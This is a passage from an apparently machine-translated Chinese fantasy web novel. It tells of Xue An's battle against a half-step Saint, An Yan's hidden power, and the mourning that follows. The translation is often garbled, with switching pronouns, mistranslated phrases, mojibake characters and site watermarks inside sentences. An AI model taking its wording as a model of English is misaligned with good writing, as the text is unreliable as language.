    But at this moment, Xue An, who had already come close, suddenly raised his head.


    At this moment, he was covered in flesh and blood, and only a skeleton of Bai Sensen remained, just like the scene at the beginning of the story.


    But this picture only lasted for less than a second, and then Xue An''s skeleton completely shattered and turned into powder.


    "Husband!"


    "Mr. Xue!"


    "Brother Ang!"


    The sound of crying and crying one after another.


    An Yan''s eyes turned blood red in an instant, and then rushed forward desperately.


    When the man saw this, he sneered slightly.


    "He is dead, but you are not so easy!"


    As he said, he raised his hand and pointed, An Yan''s body instantly floated, and then he was bound up in layers.


    Looking at An Yan''s beautiful cheeks, a look of greed flashed in the man''s eyes, and he hooked his hand.


    An Yan, who was trapped, flew to the front in an instant.


    "It''s really a stunner I see pity!"


    As he said, the man stretched out his hand, trying to touch An Yan''s cheek.


    Above and below, countless people closed their eyes in despair.


    Yue Qinghuan couldn''t help but sighed slightly, and then blocked the sight of the two little girls with his body.


    This is the only thing she can do now.


    After all, keeping these two little girls is the limit she can do.


    If you intervene again, it will definitely cause even greater disturbances.


    An Yan''s eyes had become almost hollow, and she stared blankly at the approach of this hand.


    Seeing it is about to meet.


    At this moment, only a clear cold drink exploded in everyone''s ears.


    "Let her go!"


    The man was taken aback for a moment, just about to turn his head.


    But in the next second, he felt a majestic and powerful force coming from him, and it happened to hit his left temple.


    Boom!


    After a loud noise, the man was shaken out like a kite with a broken string.


    Boom boom boom!


    Wherever he went, his body smashed dozens of mountains, and was finally blasted into the ground.


    The audience was silent.


    Because everyone was stunned by this shocking reversal.


    At the same time, but seeing An Yan''s side, many dotted lines appeared in the space.


    These lines quickly outline a body.


    Then this body began to become plump and real at a speed visible to the naked eye.


    This almost fabulous scene made everyone''s mouths gradually open.


    An Yan''s eyes gradually glowed with brilliance.


    Because she felt a familiar breath.


    really.


    After a few breaths, a young man in white clothes Shengxue appeared in front of everyone.


    Who can it be if it''s not Xue An!


    But seeing him at this moment, his whole body is extremely ethereal, although he is standing there, it gives people a feeling of drifting away at any time.


    The most important thing is his eyes.


    It''s like the most dazzling star, which makes people afraid to look directly.


    Huhuan sighed almost like a groan, "God, he has completely stabilized the cultivation base of a half-step Immortal Venerable in such a short period of time, and he has been diligent. Is this just resurrection?


    Li Jingxing did not speak, because all his attention was focused on the man who was bombed away.


    No matter who it is, it is clear that this man will never be defeated so easily.


    really.


    The earth suddenly began to shake violently, and then heard a violent roar from the ground.


    Click!


    The earth in a radius of hundreds of kilometers suddenly tore open a huge gap, and then rose up from the ground at a very fast speed, and went straight to Xue An in the sky.


    At the same time, a voice of infinite anger came from the ground.


    "Xue An, I want to crush you completely!"


    Such violent power is enough to move anyone.


    Xue An didn''t even look at it, but turned his head to look at An Yan, and then smiled slightly.


    "Silly face!"


    Although it was just two words, An Yan burst into tears in an instant.


    Because just now she really thought she was going to lose him!


    At this moment, Xue An suddenly bent down and kissed An Yan''s red lips deeply.


    An Yan''s body instantly stiffened, and the restraints dissipated. Then she completely softened, and both hands gently wrapped Xue An''s neck.


    Even if it is dead, there is no regret now!


    This is An Yan''s only thought at this time.


    But at this time, others exclaimed. U U Reading


    Because at this moment, this huge land has blasted behind Xue An.


    After this flight, this land has been forcibly condensed only the size of Li Xu, and the density has reached a staggering level.


    If it were hit, the consequences would be unimaginable.


    But Xue An embraced An Yan Wangqing at this moment, how could this not make many people anxious.


    But at this critical moment, Xue An suddenly snapped back.


    Boom!


    After a loud noise, the land exploded in an instant and turned into a sky full of powder behind Xue An.


    Then Xue An slowly raised his head, squeezed An Yan''s cheek in a petting way, and said lightly: "Yan''er!"


    "Ok!"


    "Next, let''s see how my husband slaughters the gods!"

 Chapter 2169： The will of the heavens

    At the same time, the man appeared behind Xue An like a ghost, then raised his hand and blasted a punch.


    Many people exclaimed when they saw this.


    "Mr. Xue, be careful!"


    But at this moment, Xue An turned around, and then also raised his fist and blasted out, just in time with the rushing man.


    Boom!


    Accompanied by a loud noise, Xue An''s entire arm shattered in an instant, and the huge force shook him back several steps.


    As for this man, his shoulders shook as well, and Xue An''s fist actually blocked the forward momentum.


    At this time, the man couldn''t help feeling a little astonished.


    Because he thought that Xue An would be badly injured if he died.


    Unexpectedly, it just shattered one of his arms.


    At this time, a more magical scene appeared.


    Seeing countless auras suddenly gathered, and then automatically poured into Xue An''s body.


    With the influx of spiritual energy, Xue An''s broken arm recovered in an instant.


    Seeing this scene, many people couldn''t help but widen their eyes.


    Yue Qinghuan even let out a slight hey, and a strong curiosity appeared in his eyes.


    Because from the beginning till now, Xue An has given her too many surprises.


    Even a thought arose in her heart.


    Could it be...


    Can he really cross a great realm with the strength of Half-Step Immortal Venerable and defeat this half-step Saint man?


    At the same time, but seeing Xue An raised his hand and hooked at the man slightly.


    "You played very enjoyable before, but then... it''s my turn!"


    When the words fell, Xue An stepped heavily on it, and the void instantly collapsed, and then he went straight to the man like a cannonball.


    The man narrowed his eyes, but soon returned to normal, and then sneered.


    "court death!"


    As he said, he raised his hand and blasted another punch.


    Boom!


    The two banged together again.


    This time the momentum was much stronger than the previous punch, and everyone''s hearts were shocked.


    When I looked again, I saw Xue An''s figure staggering out, and after flying hundreds of feet away, he barely stood still.


    At this time, the bones of half of his body had been shattered, and the broken ribs directly pierced the skin and protruded.


    The injury was not miserable, but everyone suddenly felt hope.


    Because just now, under everyone''s gaze, this man finally couldn''t stand, and took a half step back.


    Although it was only a trivial half step, countless people were delighted by it.


    Because this is the only time he backed up when he played head-on from the moment he played!


    At this moment, the aura of heaven and earth surged in at a faster rate than before, and it was crazily infused into Xue An''s body.


    Almost in the blink of an eye, Xue An''s injury recovered again.


    This terrifying recovery speed made this man aware of something, and his complexion gradually became difficult to look.


    But he did not speak, but took a step forward.


    boom!


    The violent power burst out, directly shaking out countless cracks in the void within a radius of thousands of miles.


    And he slowly raised his fist again, "Take me another punch!"


    boom!


    This time, the man blasted Xue An with supreme power.


    The momentum has reached a jaw-dropping level.


    But Xue An didn''t dodge anything, just took a deep breath, and then slowly raised his hand.


    In an instant, everyone felt a gust of wind blowing by their ears.


    That was the illusion caused by countless spiritual energy rushing towards Xue An.


    In a moment, the almost massive amount of aura was convenient for Xue An to gather behind him, and the prestige was overwhelming the man.


    Immediately afterwards, Xue An also took a step forward and threw out his fist.


    This time, there was no sound.


    In other words, it is because the sound is too loud, and it is beyond the reach of human ears.


    A white light appeared in the place where the two confronted each other, and then the white light spread rapidly. Wherever they passed, the space was easily torn apart like paper.


    The power that leaked made the earth shake even more.


    Countless people were forced to retreat.


    Hu Huan, Li Jingxing and others, who had broken free of their shackles, immediately took Hu Ying, Huye, Tang Xuan''er and others to safety, and then looked at the field with solemn expressions.


    At the same time, this punch has been divided.


    I saw Xue An and the man step back three steps together.


    Xue An opened his mouth and spit out a mouthful of blood, and his arm fell weakly, apparently injured.


    And finally there was a crisp sound from this man''s arm, and then a drop of blood flowed down.


    he is hurt!


    Although it was only a trivial injury, it caused tears to the eyes of countless people.


    Because as long as he is injured, it proves that he is not really invincible.


    This man obviously didn''t believe that he would be injured. After looking down at his arm and stunned for a few seconds, he slowly raised his head and stared at Xue An.


    "You actually wounded me?"


    At this time, the aura around Xue An''s body was so strong that it was almost substantial, which also caused his injuries to heal instantly.


    Then he said lightly: "What? Is it strange?"


    The look on the man''s face became gloomy a little bit, and the light in his eyes became extremely dangerous, "Okay! Very good! If you blaspheme God with a mortal body, then I will let you die without a place to bury!"


    With that said, his power soared to a terrifying critical point in an instant, and he went straight to Xue An.


    Xue An did not show weakness, and as if with divine help, countless auras gathered around him frantically, causing him to fight with this man.


    ������!


    But seeing two extremely fast Huaguang appearing in the sky, every time they touched, there would be a loud noise.


    The prestige of this war makes everyone terrified.


    Huhuan stared at this scene blankly. Suddenly, he seemed to understand something, UU reading www. uukanshu.com''s eyes were colorful and said: "I understand!"


    "What do you understand?" Li Jingxing asked.


    Hu Huan looked at Xue An''s figure in the distance with admiration, and said solemnly: "I understand Xue An''s strategy!"


    As he said, he took a deep breath and said slowly: "After extinguishing the Silent Banshee and proving a half-step Immortal Venerable, Xue An is ready! It''s just that at that time, his realm was still very unstable, so He will be suppressed by this man''s power."


    "But because of this, he has stabilized his realm in a very short time! But if it were nothing more than that, at best, he could barely protect himself. He would never be this man''s opponent!"


    Li Jingxing nodded, he had already seen this naturally.


    "Of course Xue An will not know what we can see, so the next step is the key!"


    Hu Huan said with a look of admiration: "Faced with a powerful enemy, he simply abandoned himself, and then borrowed the will of the heavens to reshape himself!"


    "So at this moment, he is actually the embodiment of the will of the heavens!"

 Chapter 2170： Destroy the world 1 refers to real strength

    These words shocked Li Jingxing.


    Because it sounds like a fantasy.


    How can man become the embodiment of the will of the heavens?


    But his insight and cultivation skills were not inferior to Huhuan, so he quickly understood.


    This thing is absolutely true!


    Because only for this reason, can we explain the spiritual energy that has been gathering crazy around Xue An''s body!


    Although he believed it, the three elders of Qingqiu and the others looked at a loss.


    "Ancestor, do you mean that what Mr. Xue now carries is the heavenly path of the heavens?"


    Huhuan nodded.


    "But this... is it really possible?" The fox is still a little unbelievable.


    "Of course it is possible!" Xiao Huying said suddenly and firmly, then raised her head to stare at the battle in the sky, and said softly.


    "Because he is the omnipotent Brother An!"


    Everyone stopped talking.


    Only Huhuan muttered to himself, "The so-called heavenly way is actually another manifestation of the will of the heavens. As the ruler of the entire heavens, it may not have human emotions, but it will definitely weigh the pros and cons!"


    "Yes!" Li Jingxing also whispered softly: "The evil army invaded and intended to subvert the heavens. Such actions are definitely not allowed by the heavens'' will! And the appearance of this unreasonable man is even more so. A serious threat to the entire heavens!"


    Hu Huan took the words and said: "In this case, it can only cooperate with Xue An in order to protect itself! This is why it helped Xue An reshape his body."


    Li Jingxing suddenly laughed, "Speaking of which, I still have some sympathy for this guy, because now he...but he is fighting the whole heavens!"


    As soon as the voice fell, the loud noise in the air ceased abruptly, and then two radiances were seen falling on the ground at an extremely fast speed.


    boom!


    The ground with a radius of thousands of miles collapsed in an instant, but then the spirit of heaven and earth supported the falling ground.


    Looking at the big pit again, but seeing Xue An''s body half squatting, one hand pressed the man to the ground, while the other hand smashed down with punches.


    Bang bang bang!


    With a dull loud noise, the man''s head was deeply smashed into the ground.


    Even so, Xue An still didn''t have any plans to stop, but continued to hit with one punch.


    Every time, the man''s body trembled violently.


    Soon, there was blood on the ground, and some even splashed on Xue An''s face.


    Xue An didn''t even blink his eyelids, as indifferently as a machine that only knew how to kill.


    The audience was silent.


    Because this battle is too ups and downs.


    Just now everyone felt that this battle was lost, and the situation turned around in the blink of an eye.


    Even Yue Qinghuan watched this scene in a bit of amazement, and didn''t wake up until a long time later, and then smiled faintly.


    "The assessment is over, it looks like you..."


    She just wanted to say the word pass.


    But at this moment, a dull roar came from the ground, and then a beam of light rose into the sky, and Xue An was directly shaken out.


    Looking at the air again, this man stood on the sky, his face covered with blood, his previous aura had long since disappeared, and only infinite anger was boiling around him.


    "Xue An, you''re looking for death!"


    The man roared almost hysterically, and countless evil things began to appear in the shadow behind him.


    Hydra, Silent Banshee, Fossil Monster...


    After waiting, the evil things were densely packed, filling the entire sky in an instant, and cooling everyone''s hearts.


    The evil things were just wiped out, how come so many came out in the blink of an eye?


    But before this man felt proud, the violent aura came over the sky, and it was mixed with countless bright sword lights.


    Bang bang bang!


    In total, only a few breaths survived, and these evil things were completely swallowed by the violent spiritual energy, and then disappeared.


    The man was dumbfounded.


    At this moment, his eyebrows suddenly tore apart, and then Xue An''s fist passed through it.


    The blood and brains flowed down, and everyone looked at them in amazement.


    It was not until a long time later that no one cried with joy.


    "Victory!"


    "We have won!"


    boom!


    There were huge cheers one after another, and everyone was venting the joy in their hearts.


    Only a few people looked at the court with serious faces.


    Because no one knows whether there will be any turning points in the development of things up to now.


    after all!


    The strength of this man is extremely powerful.


    If Xue An had not reached cooperation with Zhutian Will, it would have been impossible to defeat him.


    Although his head was shattered now, no one dared to tell whether he was dead or not!


    really!


    Just as many people were suspicious, the man''s body suddenly began to disintegrate and instantly turned into nothingness.


    Then he heard a roar from the depths of the distant void.


    "Xue An, do you think this is over? You are too naive! Since even this little will of the heavens is helping you, then there is no need for you to exist at all, all go to destroy!"


    These words rang in everyone''s ears, and everyone was taken aback.


    Then I heard the popping sound one after another.


    That was the sound of the aura that had filled the whole world constantly dying.


    This extremely strange scene also moved the people like Huhuan, Li Jingxing and others.


    Xue An even raised his head, a dignity looming in his indifferent eyes.


    At this moment, the sky suddenly darkened.


    Unlike the previous scene when the earth was blocked, the dimming came so quickly this time, as if something had directly blocked all the light.


    Immediately afterwards, a faint brilliance appeared in the depths of the sky in that extremely dark place.


    From the void came the man''s triumphant laugh.


    "My lord has done it himself, Xue An, this time I see how you die!"


    When the words fell, the brilliance expanded rapidly, and then appeared in front of everyone.


    Everyone was shocked and couldn''t believe their eyes.


    Because what appeared in front of them was a huge finger.


    That''s right!


    It is only a finger to cover the sun and the moon, and even block everything.


    "This... how is this possible!" Hu Huan said with a dull gaze.


    Li Jingxing''s eyes also dimmed.


    Because they are as strong as the Immortal Emperor, when they see this finger, there is only endless despair.


    Yue Qinghuan''s expression changed drastically, and immediately gave a wry smile.


    "Is this really going to kill them all?"


    As she said, she shook her head, and before the two little girls reacted, they completely closed their speech movements, then hugged them in her arms, turned and left.


    Because in her opinion, everything is over.


    No one can survive in the presence of this being shot now, not even she.


    At this moment, the finger was slowly pressed down.


    Boom!


    There was a loud noise in the void, and then the entire heavens trembled violently, as if a certain powerful will was being constantly destroyed.


    Regardless of any changes, it was impossible to stop this finger from falling slowly.


    In the blink of an eye, it came before the earth.


    Compared with it, the earth is as weak as a pebble.


    Xue An showed an extremely solemn look on his face for the first time, and then rose up all his strength to fly away.


    But I didn''t see any movement of this finger, an invisible pressure instantly shattered all of Xue An''s defenses, and then pressed it on the ground.


    Despite this, Xue An still struggled to raise his head and tried to get up.


    "Humph!"


    An imperceptible cold snort came, and Xue An was directly shattered to pieces all over his bones, limp to the ground and unable to move.


    Immediately afterwards, the finger continued to press down The huge pressure was like a grinding disc, and Xue An was about to be crushed completely.


    At this moment, An Yan, who had been standing quietly waiting not far from Xue An, suddenly fainted.


    This didn''t attract anyone''s attention.


    But at the moment Anyan fell, a breath suddenly rose from her body.


    What kind of breath is that!


    It''s as if the whole world will come to an end in the next instant, full of destruction!


    And that is, at the moment this breath appeared, the fingers that appeared in the posture of destroying the world could become extremely weak in an instant.


    At the same time, a faintly terrified roar came from the depths of the void.


    "This breath...impossible!"


    But this breath is not shifted by any will, just a light touch, this finger is like fragile glass.


    Completely broken apart.

 Chapter 2171： The breath that made Yue Qinghuan awe...

    Rumble!


    In the loud noise, Yue Qinghuan suddenly turned around, his lavender eyes were full of infinite horror.


    Because of the terrifying power contained in this breath, she almost wanted to worship.


    "God... my goodness! Even if it''s your brother, you can''t be the opponent of this breath!" Yue Qinghuan whispered softly, his voice full of deep awe.


    As for the man hiding in the depths of the void, his body was shocked at this moment.


    He had never thought about anyone who could repel an almost omnipotent adult so easily.


    But his reaction was not unpleasant, he immediately hid into the void and wanted to escape.


    But it was too late, I saw this vague breath lightly touched the void.


    Click!


    His figure stagnated for an instant, and then he didn''t even hum, and it turned into nothing.


    After all this was done, the breath returned to Anyan, who had fainted to the ground like a tide.


    In an instant, everything fell into silence.


    All that were left were standing there dumbfounded, unable to believe their eyes.


    Who would have thought that this shocking war would eventually end in such a dramatic way.


    Where did that huge finger come from?


    What is this breath rising from An Yan body?


    Countless questions came to my mind.


    And at this moment, Xue An jumped up from the ground and flew to the fainted An Yan in an instant, and hugged her in his arms.


    "Yan''er..."


    But at this time An Yan closed her eyes tightly, and did not respond at all to Xue An''s call.


    At the same time, the sober people also rushed to the front.


    "Girl Yan!"


    "Sister Yan!"


    The shouts came one after another, but without exception, An Yan did not respond.


    At this time, everyone''s heart raised their throat.


    Hu Huan and Li Jingxing immediately stepped forward and asked solemnly.


    "How?"


    Xue An took a deep breath and shook his head lightly, "It''s strange, I didn''t notice anything abnormal from her, but Yan''er just showed no sign of waking up!"


    At this moment, Yue Qinghuan also appeared in front, and the two little girls broke free from their arms and rushed up immediately.


    "mom!"


    "Mom, what''s wrong with you? You wake up, mother!"


    The two little girls shook An Yan''s hands and kept shaking.


    But An Yan was still asleep.


    The two little girls collapsed at that time, tears burst into their eyes.


    "Dad, what happened to Mom? Why didn''t she open her eyes?" Nian Nian asked in tears.


    Xue An''s complexion has also become very solemn, and the huge aura is constantly instilling in An Yan''s body, but it is like a clay cow entering the sea, without even the slightest disturbance.


    When the atmosphere became extremely depressing, Yue Qinghuan said softly: "Is it convenient for me to come and see?"


    Xue An raised his head to look at her, and finally nodded silently.


    Yue Qinghuan knelt down, first glanced at An Yan in awe, then raised his hand to gently caress her shoulders, and closed his eyes.


    No one spoke, including the people on the earth watching this scene silently.


    Many people quietly clenched their fists and prayed silently, hoping that there will be gods in the dark to protect Anyan safe and sound.


    after all.


    She is equivalent to saving the entire heavens with her own power!


    After a long time, but seeing Yue Qinghuan raised his eyebrows slightly, he opened his eyes, and a strange color flashed in his eyes.


    "How?"


    "There is indeed nothing unusual, but I faintly feel that her current state is very bad, as if..."


    Yue Qinghuan thought for a moment, and then described it: "It''s as if a person''s strong action uses abilities that shouldn''t be used, which eventually leads to loss of strength and coma."


    "Then what to do?" Xiao Sha, who was standing by, asked immediately.


    At this moment, she was also exhausted with scars, but she didn''t care about herself at all, but looked at An Yan with worry.


    Yue Qinghuan did not respond to Xiaosha''s words, but raised his eyes to look at Xue An, "What do you think?"


    Xue An nodded, "I feel this way too, but I''m not sure, because I have just instilled almost all of my spiritual power into Yan''er, but I haven''t even aroused a splash of water!"


    Yue Qinghuan chuckled and shook his head, "That means that even your strength is far from enough!"


    When this remark came out, everyone was shocked.


    You know that Xue An is a half-step immortal, and his strength is obvious to all. Is all his strength not enough?


    But when they thought of the terrifying aura just now, people were relieved again.


    Xue An was also startled slightly, and then nodded, "I understand!"


    Having said that, he grabbed An Yan from the ground, and then said in a deep voice: "I will take Yan''er away for a while, and you will take care of everything here! I miss you and follow me!"


    After saying this, Guanghua wrapped up his missing thoughts, then rose up into the sky, and disappeared in an instant.


    Everyone looked at this scene in a daze.


    Only Yue Qinghuan smiled and whispered in a voice that only he could hear: "Is this supposed to be regarded as whether you have passed the test or failed? What a headache!"


    After all, her figure disappeared like a puff of smoke.


    Everyone stood there and looked at each other, and finally they all laughed bitterly.


    There is no doubt that this battle was won by his own side.


    But this victory is also a tragic victory.


    Not to mention the other side, just the strong men who died in battle would be enough to hurt the entire heavens.


    In addition, An Yan, who had turned the tide to save the common people at the most critical moment, was also unclear, so no matter who it was, there was not the slightest joy after victory at this moment.


    At this time, Hu Huan slowly said: "Everyone is resting in place, and then waiting for Xue An''s return."


    No one spoke, people just sat down cross-legged in silence.


    As for the injured, there are special personnel responsible for treatment. UU reading www. uukanshu.com


    The whole world began to heal in silence.


    And at this moment, in the extremely distant void, Xue An''s figure suddenly appeared.


    It is far away from the major star regions, and even the nearest stars are hundreds of light years away. It can be said that it is absolutely barren land.


    But Xue An stopped here, then let go, making An Yan suspended in the void.


    The two little girls stood beside Xue An obediently, not daring to say a word, but looked at An Yan hopefully, hoping that her mother would wake up as soon as possible.


    Xue quietly looked at An Yan, who was asleep with his eyes closed, and stayed silent for a long time.


    This battle is his rebirth, or the cruelest battle he has ever experienced in two lives.


    During this period, he used almost all of his hole cards, and he even reached a cooperation with the will of the heavens before it was worthy of a comeback.


    But the huge finger that did not know where it came from at the end easily smashed everything he planned.

 Chapter 2172： The origin of An Yan

    Just relying on coercion made Xue An unable to get up, it can be seen how terrifying the opponent''s strength has reached.


    It can be said that if it weren''t for that breath from An Yan''s body suddenly appeared, even Xue An would have been defeated.


    And because of witnessing the scene just now, Xue An finally wanted to understand a lot of things at this moment.


    He had some doubts before, why the Lord of the Abyss would specially seal An Yan.


    When questioning the Lord of the Abyss, he personally said that someone specially ordered him to come down and ask him to do so.


    At that time, An Yan was just an ordinary mortal.


    This originally revealed something strange.


    The most important thing is that Xue An suddenly thought of the talent of thinking and thinking.


    Xue An had always thought that it was because of his own blood that the talent for thinking and thinking was so powerful, but now he doesn''t think so.


    Because even now, he has proven himself as a half-step immortal, and he is only a short walk away from returning to his prosperous strength, he still couldn''t find anything unusual in An Yan''s body.


    No matter in the body or soul, the existence of that aura was not detected.


    If he hadn''t witnessed the whole process with his own eyes, Xue An would even think that the breath was just his own illusion.


    And this just shows that An Yan''s origin is far more powerful and complicated than he thought.


    Even... far beyond yourself.


    In this way, many things that happened to Anyan have been reasonably explained.


    For example, her inexplicable seal, such as her almost joking practice speed, and her easy promotion like eating and drinking...


    Thinking of this, Xue An couldn''t help showing a wry smile on his face.


    "Yan''er, it seems that the words that Anjia said before are really right, I have been climbing from beginning to end!"


    Of course An Yan would not respond to these, she was still asleep.


    Xue An''s eyes were slightly moist, but immediately he took a deep breath and waved his hand.


    "Gather!"


    boom!


    Countless spiritual energy came here from all directions. Fortunately, it was a void here, otherwise this power alone would be enough to shatter the stars.


    But no matter how violent aura reached Xue An, it became docile, and then Xue An raised his hand.


    Spiritual energy began to be continuously instilled in Anyan''s eyebrows.


    How fast is this instillation?


    Let''s put it this way, a single finger can directly burst a big Luo strong.


    But after so many auras entered An Yan''s body, they still didn''t stir up any waves.


    On the contrary, there was a strong suction in An Yan''s eyebrows.


    In an instant, the turbulent instillation speed that was originally called raged a little more, and even a huge whirlpool appeared above her head.


    The aura made a huge roar, instilled crazily, and reached an astronomical total in the blink of an eye.


    This also caused the aura within a certain range to be sucked out, becoming a vacuum zone.


    Even the stars hundreds of light years away were dimmed by the lack of aura.


    Xue An took the hands of the two little girls back a few steps and watched quietly.


    After a long time, Nian-nian finally couldn''t help speaking.


    "father!"


    "Ok!"


    "When will mother wake up?"


    "Soon!" Xue An said softly.


    "Will mother become Superman when she wakes up?"


    Nian Nian already knew what had happened at this time, and when she was sure that her mother had nothing to do, she couldn''t help but become more relaxed.


    Xue An lowered his head and smiled, "What? Do you want your mother to become Superman?"


    Nienian nodded vigorously, "Hmm!"


    "why?"


    "Because of this, you don''t have to be as tired as before, Dad!" Niannian said.


    Xue An was stunned.


    He never expected Nian Nian to say that.


    At this moment, Nian-nian lowered her head and her tone became sad.


    "Dad, you don''t know how scared my sister and I were at the time! Especially when we saw you become a bone and fight the bad guys, we were really scared!"


    Think about it without speaking, but the tears in her eyes have explained everything.


    Xue An took a deep breath, and then squeezed her daughter''s small hand.


    "Don''t worry, Dad won''t be like that anymore!"


    At this moment, the two little girls suddenly yelled at the same time.


    "father!"


    "Ok?"


    "You are a great hero!" the two of them said in unison.


    Xue An was taken aback for a moment, Xuan even showed a smile.


    "Thank you!"


    At this moment, Xue An felt that everything he did was worthwhile.


    Not for the heavens, nor for the common people.


    But for these two lovely daughters.


    At this moment, the speed of spiritual energy instillation suddenly began to slow down.


    Xue An immediately rushed forward and whispered softly: "Yan''er!"


    An Yan''s eyelashes quivered slightly, and finally opened his eyes slowly.


    When she saw Xue An and her two daughters in front of her, she was taken aback for a moment, and then said: "Are we...are we dead?"


    Xue An smiled slightly, then stretched out his hand and gently squeezed An Yan''s cheek, "Of course not, on the contrary... we won!"


    "Victory?"


    An Yan suddenly thought of something at this time, and immediately jumped up, then extremely nervously grabbed Xue An''s arm and looked carefully.


    Xue An didn''t say a word either, just waiting quietly.


    It was not until a moment later that An Yan looked up, "Really won?"


    "of course!"


    "Then you...how come there are no injuries at all?" An Yan asked blankly.


    In her memory, the last picture is a huge finger extending from an unknown place.


    The horror of this finger made Xue An even unable to deal with it.


    Then she didn''t remember anything.


    Seeing the blankness on An Yan''s face, Xue An smiled slightly, "Of course I was not injured, because this time you repelled the enemy!"


    After a while, An Yan looked at Xue An dumbfounded.


    "What you said is true? Am I so good?"


    Xue An nodded seriously Of course it is true, if you don��t believe me, ask me and miss it! "


    The two little girls were also very excited at this time, and they whispered.


    "Yes, mother, you were so good at that time, you defeated all the bad guys all at once!"


    "But I...but why don''t I feel at all?" An Yan was still a little unbelievable.


    In her sense, she felt as if she had slept without any notice.


    "Is there no change in your strength?" Xue An asked.


    An Yan heard the words and felt it carefully, then shook his head, "It''s still the same, there is no change!"


    A glimmer of brilliance flashed in Xue An''s eyes, "So this is the most unusual place. You must know that the aura you just absorbed is enough to become a strong immortal king!"


    "And you don''t notice anything, so where did they go?"

 Chapter 2173： She has never failed me, I will not assume her...

    "Yeah, where did they go?" An Yan frowned, her pretty face full of contemplation.


    Seeing this, Xue An couldn''t help but smiled and stretched out his hand to pinch An Yan''s nose.


    "It''s silly, don''t worry about where they go, now you just need to know that you are not an ordinary person!"


    An Yan''s pinched nose hurt, and Xue An couldn''t help but give Xue An a blank look. "Since you know I am not an ordinary person, why are you still pinching my nose? Are you not afraid of me beating you?"


    Having said that, An Yan waved his fist like a demonstration.


    Xue An laughed and took her into his arms.


    "Okay, then you beat me!"


    An Yan snorted, and even whispered in a low voice: "Don''t be like this, I miss you all!"


    She said that she looked at the two little girls with embarrassment.


    The two little girls coughed slightly at this time, then turned their heads aside very wittily, and began to talk for themselves.


    "Sister, look at the stars over there so beautiful!"


    "Hmm, it''s really beautiful!"


    In fact, there is a deep void in front of them, where is there any starlight!


    But the more they were like this, the more embarrassed An Yan was.


    Xue An looked at it with a smile, until An Yan''s face was red to the root of his ears, and then he let go.


    "Okay, stop teasing you, let''s go!"


    An Yan''s face instantly became serious, "Is it back to Earth?"


    "Of course! Although this battle is over temporarily, I have a hunch that everything is far from over!"


    When he said this, Xue An''s eyes became very far-reaching and profound.


    An Yan was shocked, but she didn''t say anything, but silently walked to Xue An''s side and took his hand.


    "Then let''s go!"


    Earth.


    Everyone is still waiting quietly on the battlefield.


    At this moment, many wounded have been properly placed.


    But other than that, people did not touch the bodies of those who died in the war, but put them aside in a tacit understanding, waiting for Xue An''s return.


    Looking at this devastated battlefield, even the most optimistic people will become silent.


    Such as Fox Night.


    He was once the most heartless, but now he stood silently in front of a huge corpse.


    This is the corpse of a giant dragon, with large and small scars all over it, and even the scales are gone. It is conceivable what kind of cruel battle she experienced before her death.


    Watching this scene, Hu Ye felt that her heart was suddenly empty, and all the voices in her ears disappeared, only a word kept echoing in her mind.


    Fox night, do you know that I hate you so much that I even want you to die, but I don''t want the child in Arou''s belly to have no father, so you go!


    This sentence kept tumbling in his mind, like a sharp knife, grinding Fox Ye''s heart fiercely.


    A Rou was already crying and couldn''t help herself, but this kind of crying was silent, only tears dripped down, dripping onto the ground, remoistening the blood that had dried out.


    At this moment, a stumbling figure walked to the side of Hu Ye.


    It is Ao Qing, the princess of the dragon clan.


    It''s just that the dragon princess at this moment has lost the grace of the past.


    One arm was broken at the root, and his feet were dripping with blood, obviously suffering serious injuries.


    But the sum of all the injuries is less than the grief in her eyes.


    As if feeling her coming, Hu Ye whispered: "She... can you tell me anything before leaving?"


    Ao Qing shook her head, "I didn''t say anything, because everything came too fast. As soon as the man of the half-step saint appeared, she, who was already seriously injured, was shattered by the mighty power!"


    Fox night was silent.


    Because he has no idea what to say.


    At this moment, all languages ??have become so pale and weak.


    He could only silently take out the dragon ball from his arms and hand it to Ao Qing.


    "This is the only thing she left me!"


    Ao Qing felt the familiar breath on this dragon ball, tears bursting into her eyes, but she did not pick it up, just choked up: "Since she left it for you, then you accept it!"


    With that, Ao Qing turned around and left.


    At this moment, Hu Ye suddenly whispered: "Can I still marry her?"


    Ao Qing shocked all over, turned her head to look at Fox Ye, her eyes full of doubt.


    "what did you say?"


    Fox night looked at the huge corpse in front of him, and whispered softly: "She usually likes to be lively, I don''t want her to be so lonely after death, so..."


    "I want her to be my wife!"


    Although Ao Qing didn''t speak, the blankness in her eyes clearly revealed a meaning.


    Ao Yi is dead, how do you marry?


    But Hu Ye didn''t seem to notice Ao Qing''s doubts, stepped forward, and gently stroked Ao Yi''s body.


    "Does it hurt?"


    When the words fell, the night of the fox burst into tears.


    Seeing this scene, Ye Hanshang and others in the distance couldn''t help but sigh.


    "This is the first time I have seen Fox Ye cry so sad!" Ye Hanshang sighed.


    Zhuge Zang also shook his head slightly, "It''s a pity that a lover has not been able to become a family member!"


    But at this moment, when Hu Ye suddenly raised his hand and cut his eyebrows, a drop of pale golden blood leaked out, and then flew into Ao Yi''s body.


    In an instant, Ao Yi''s body began to shrink sharply, and flew into the hands of Fox Ye in the blink of an eye.


    Huye put it with the dragon ball, and then carefully put it away.


    "Big sister!" Hu Ye looked at Ao Qing earnestly.


    "I Huye swears here that I will find a way to resurrect Ao Yi in the rest of my life. She has never lost me in this life, and I will definitely not lose her!"


    Ao Qing looked at the sincere Fox Ye, and nodded solemnly after a long time.


    "Okay, I believe you!"


    At this moment, there was a voice of admiration in the void.


    "Fox night, although you are usually very confused, but this time I have to admit that you are a man!"


    With the voice, they quietly appeared in the scene when they saw Xue An and An Yan''s family When they saw An Yan was safe, everyone couldn''t help but breathe out.


    Because people at this moment can no longer afford to lose.


    If it is left as usual, Huye will definitely fight Xue An for a long time because of this sentence.


    But at this moment, he no longer had that interest, he just gave a tragic laugh, then turned around and left silently.


    An Yan said distressedly: "Husband, Xiao Ye..."


    Xue An waved his hand, "Let him go. After all, he can only take care of this matter, and he can only come out."


    After that, Xue An turned his head to look at the crowd, and finally stopped his gaze on the dead corpses on the ground, with a solemn look in his eyes.


    "This battle is over. The dead are all heroes. I am waiting for myself to worship. Do you have any objections?"


    Almost no one hesitated, everyone bowed their heads.


    "Here!"

 Chapter 2174： Reconsolidate the dragon veins and become a god

    In Xue An''s current state, in this space, it can be said that he has the ability to reach the sky and the earth.


    I saw him flying up, standing on the sky, raising his hand and pointing down.


    With my fingertips, the damaged ground began to heal quickly, and the collapsed mountain peaks swelled up, and even many buildings that had collapsed were restored in an instant.


    But this ability can only be used to restore the environment. As for the life that has passed away, there is nothing that can be done.


